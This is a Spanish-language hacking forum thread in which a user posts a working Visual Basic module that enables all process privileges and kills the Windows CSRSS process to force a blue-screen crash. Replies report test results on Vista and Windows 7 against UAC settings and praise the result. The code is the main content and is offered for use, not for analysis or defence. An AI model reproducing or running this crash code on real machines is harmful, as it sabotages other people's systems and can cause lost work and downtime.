Foro de elhacker.net

'---------------------------------------------------------------------------------------
' Module    : mBSOD
' Author    : Karcrack
' Now$      : 16/07/2009  18:08
' Used for? : Make a BSOD on W$
' Tested On : W. XP ... W. Vista (Thanks Kiash)... W. Seven (Thanks SkyWeb/Dessa)
'---------------------------------------------------------------------------------------
 
Option Explicit
 
'NTDLL
Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long
Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal Client As Long, WasEnabled As Long) As Long
'KERNEL32
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
 
Public Sub CrashWindows()
    Dim hProc       As Long
 
    Call GetAllPrivilegies
 
    hProc = OpenProcess(&H1F0FFF, 0&, CsrGetProcessId) ' &H1F0FFF = PROCESS_ALL_ACCESS
    Call TerminateProcess(hProc, 0&)
End Sub
 
Private Sub GetAllPrivilegies()
    Dim i           As Long
 
    For i = 0 To 200: Call RtlAdjustPrivilege(ByVal i&, 1, 0, 0): Next i
End Sub

Si alguien puede que lo pruebe en Windows Vista o Windows 7...

Gracias por probarlo, Kiash, SkyWeb, Dessa

En W7 como Adm. con el UAC predeterminado o alto iignora la instruccion, con el UAC desactivado si se clava el windows pero al reiniciar se inicia normalmente

S2 

SkyWeb dice que funciona bien en Win. 7... Sera cosa de su UAC...

Bueno, este codigo no se carga el W$, simplemente fuerza su apagado mostrando un feo BSOD (http://es.wikipedia.org/wiki/Pantalla_azul_de_la_muerte)

Funciona bien como admin, con la UAC activada.

Lo probé nuevamente, activé el UAC (a nivel predeterminado), luego reinicié windows y ejecuté el code sin ninguna respuesta (tampoco ningun error). Luego volví a desactivar el UAC y reiniciar windows, en este caso sí funcionó (con el UAC dasactivado)
Probé con Windows Seven RC 7100 con todas las actualizaciones al dia

S2   

Jeje.. vi un code parecido de xcryptor,pero este ademàs de darle privilegio de Semi-Dios al proceso,tambien intenta terminarlo y produce una bonita pantalla azul,muy bueno :)